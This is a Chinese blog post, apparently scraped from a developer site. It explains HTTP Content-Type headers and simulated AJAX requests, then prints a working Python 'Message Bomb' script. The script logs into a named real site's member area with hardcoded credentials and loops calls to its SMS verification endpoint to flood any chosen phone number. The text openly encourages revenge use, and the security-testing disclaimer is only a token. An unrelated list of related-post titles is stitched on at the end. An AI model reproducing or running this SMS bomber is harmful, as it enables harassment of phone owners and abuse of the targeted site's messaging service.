我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种。

常见的取值有:

application/xml : 在 XML RPC,如 RESTful/SOAP 调用时使用

application/json : 在 JSON RPC 调用时使用

application/x-www-form-urlencoded : 浏览器提交 Web 表单时使用

Content-Type : 在使用 REST 接口时,服务器会检查该值,用来确定 HTTP Body 中的内容该怎样解析。

在提交web表单数据时,Body中的数据格式要和Content-Type的值类型一致,如果Content-Type 设置错误会导致服务器拒绝服务

还有些网站的数据需要通过ajax来请求获得,ajax请求在发起请求之前必须设置必要的http头,还需要将请求数据封装为json格式。

下面的脚本代码就是这种情况,将请求数据封装为json格式:

req.add_header('Content-Type', 'application/json')

然后设置ajax请求形式的请求头:

req.add_header('X-Requested-With','XMLHttpRequest')

#-*-coding:utf-8-*-

#!/usr/bin/python

#

# Message Bomb v1.0

#From: sb.f4ck.net By: xfkxfk

#

import json

import urllib2

import sys

def request_ajax_url(url,body,referer=None,cookie=None,**headers):

req = urllib2.Request(url)

req.add_header('Content-Type', 'application/json')

req.add_header('X-Requested-With','XMLHttpRequest')

if cookie:

req.add_header('Cookie',cookie)

if referer:

req.add_header('Referer',referer)

if headers:

for k in headers.keys():

req.add_header(k,headers[k])

postBody = json.dumps(body)

response = urllib2.urlopen(req, postBody)

if response:

return response

def run():

import time

"use username:xfkxfk; use password:123456"

login_url = 'http://www.lusen.com/member/Login.aspx'

login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}

login_referer = "http://www.lusen.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"

url = 'http://www.lusen.com/Member/MobileValidate.aspx'

referer = "http://www.lusen.com/Member/ModifyMobileValidate.aspx"

headers = {}

response = request_ajax_url(login_url,login_body,login_referer)

if response.read() == "1":

print " Login Success !!!"

if response.headers.has_key('set-cookie'):

set_cookie = response.headers['set-cookie']

else :

print " Get set-cookie Failed !!! May Send Messages Failed ~~~"

if len(sys.argv) < 3:

print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"

sys.exit()

mobile_number = sys.argv[1]

count = sys.argv[2]

body = {"action":"GetValidateCode","Mobile":mobile_number}

i=0

while i < int(count):

response = request_ajax_url(url,body,referer,set_cookie)

i=i+1

if response.read() == "发送成功":

print " Send " + count + " Messages To " + mobile_number + " !!!"

if __name__ == "__main__":

run()

大家有仇报仇有怨抱怨啊

(Freebuf温馨提示:仅供安全测试之用,禁止非法用途)

python模拟ajax请求_短信炸弹—用Python模拟ajax请求相关推荐

  1. Web安全之防止短信炸弹

    虽然标题名为防止短信炸弹,但其实这就是个限流的问题--也就是限制某个接口的时间窗口内的请求数. 1. 概述 本人所在的公司属于传统的国土行业,技术以求稳为主,而且为了兼顾实施人员的开发水平,至今连MQ ...

  2. python 使用twilio免费发送短信

    这里写自定义目录标题 python 使用twilio免费发送短信 登录 获取发送用号码 在python中测试,并发送短信 python 使用twilio免费发送短信 使用twilio提供的服务,貌似使 ...

  3. 使用python代码给手机发短信详解(twilio的使用)

    ☞☞☞点击查看更多优秀Python博客☜☜☜ 使用python代码给手机发短信详解 twilio网页注册 实现代码 效果演示 ==**文章导航:==** 使用python代码给手机发送短信,在这里给大 ...

  4. 关于防止短信炸弹的几种方法

    关于防止短信炸弹的几种方法 1. 限制每个手机号的每日发送次数,超过次数则拒发送,提示超过当日次数. 2.每个ip限制最大限制次数.超过次数则拒发送,提示超过ip当日发送最大次数. 3. 限制每个手机 ...

  5. 电信卡_短信查询指令

    电信卡_短信查询指令 尊敬的用户,欢迎使用电信短信营业厅,您可以直接回复所选菜单编号(或拼音代码)进行业务受理和查询. 1.费用查询 (101)(SSHF) 实时话费 (102)(ZHYE) 帐户余额 ...

  6. python GSM模块-电脑接收短信

    文章目录 一.GSM模块: 1. 产品介绍 2.前言:最近做了一个需求,需要接收手机短信验证码.因此我这里考虑到了 GSM 模块 一.GSM模块: 1. 产品介绍 ① 一种具有独立的操作系统的功能模块 ...

  7. 使用Python开通腾讯云短信(sms)【亲测有效·超详细】

    使用Python开通腾讯云短信(sms) 1.开通腾讯云短信服务 2.创建应用 3.创建签名 4.Python 操作腾讯云短信接口 模块安装 详细代码[可直接作为接口] 1.开通腾讯云短信服务 腾讯云 ...

  8. 请求一个短信接口,并接收该接口返回的状态值

    最近项目中用到发送验证码这个功能,需要请求一个短信接口,并且接收请求后返回的状态值,开始我觉得要抓取页面内容,然后自己也就这样做了,发现效果不理想,之后就放弃了. 接着就百度了,有人提到用HttpWe ...

  9. python使用SIM800C发送英文短信

    python使用SIM800C发送英文短信 import io import time import serial import serial.tools.list_ports# 字符串转16进制un ...

最新文章

  1. 今天看了一下攒机配置 5000元以下 参考以下
  2. python使用缩进作为语法边界一般建议怎样缩进-Python基础自测挑战题
  3. HTTP Status 405 - HTTP method POST is not supported by this URL
  4. 详解C++中的函数调用和下标以及成员访问运算符的重载
  5. VC6重载字体对话框,去除颜色下拉框
  6. daatable动态创建
  7. linux 文件系统 xfs、ext4、ext3 的区别
  8. 【方案分享】抖音平台新媒体百问百答:平台规则、爆款涨粉、运营技巧、内容变现.pdf(附下载链接)...
  9. spring提供的线程池
  10. r5驱动 索尼exmor_为画质插上翅膀 详解索尼Exmor R CMOS
  11. Tensorflow 笔记 Ⅳ——mnist手写数字识别
  12. 使用Glide切换图片时闪动
  13. 2021CCPC东北四省赛 K. City 并查集
  14. Congfu Xu's HomePage
  15. Access-培训管理系统-03-建个数据库
  16. Tensorflow中的多层感知器学习
  17. 使用集合转数组的方法,必须使用集合的 toArray(T[] array),传入的是类型完全一样的数组,大小就是 list.size()。
  18. 当罗“工匠”遇上雷“铁匠”
  19. 微信小程序template模板与component自定义组件的区别和使用
  20. 永磁同步电机矢量控制(八)——弱磁控制(直接计算法)

热门文章

  1. 制作旋转led_LED用蓝宝石衬底及加工工艺!
  2. docker下载慢,卡顿解决办法——免费安装人人都有的docker加速器
  3. Retrofit网络请求参数注解,@Path、@Query、@Post、Body等总结(超级实用)以及以Json格式和form-data格式提交数据
  4. python中turtle画树_python中turtle可以画树吗?怎么画?
  5. Android开发之引用framework.jar中的方法 | 引用framework.jar包
  6. tron区块链php对接,Tron区块链技术 - Tron智能合约概述
  7. php断点调试的几种方法
  8. tms脚本演示代码之一
  9. RocketMQ 源码分析 事务消息
  10. FIR仿真module_04